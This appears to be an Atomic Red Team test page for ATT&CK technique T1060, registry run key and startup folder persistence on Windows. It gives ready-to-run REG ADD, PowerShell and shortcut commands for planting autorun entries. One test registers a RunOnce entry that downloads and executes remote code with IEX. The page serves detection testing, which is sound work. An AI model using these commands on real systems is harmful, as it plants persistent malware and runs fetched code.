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T1060 - Registry Run Keys / Startup Folder

Description from ATT&CK

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Atomic Tests


Atomic Test #1 - Reg Key Run

Run Key Persistence

Supported Platforms: Windows

Inputs

Name Description Type Default Value
command_to_execute Thing to Run Path C:\Path\AtomicRedTeam.exe

Run it with command_prompt!

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f


Atomic Test #2 - Reg Key RunOnce

RunOnce Key Persistence

Supported Platforms: Windows

Inputs

Name Description Type Default Value
thing_to_execute Thing to Run Path C:\Path\AtomicRedTeam.dll

Run it with command_prompt!

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f


Atomic Test #3 - PowerShell Registry RunOnce

RunOnce Key Persistence via PowerShell

Supported Platforms: Windows

Inputs

Name Description Type Default Value
thing_to_execute Thing to Run Path powershell.exe

Run it with powershell!

$RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`")"'
Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force


Atomic Test #4 - Startup Folder

Add Shortcut To Startup via PowerShell

Supported Platforms: Windows

Inputs

Name Description Type Default Value
thing_to_execute Thing to Run Path C:\Path\AtomicRedTeam.exe

Run it with powershell!

$TargetFile = "$env:SystemRoot\System32\#{thing_to_execute}"
$ShortcutFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Notepad.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $TargetFile
$Shortcut.Save()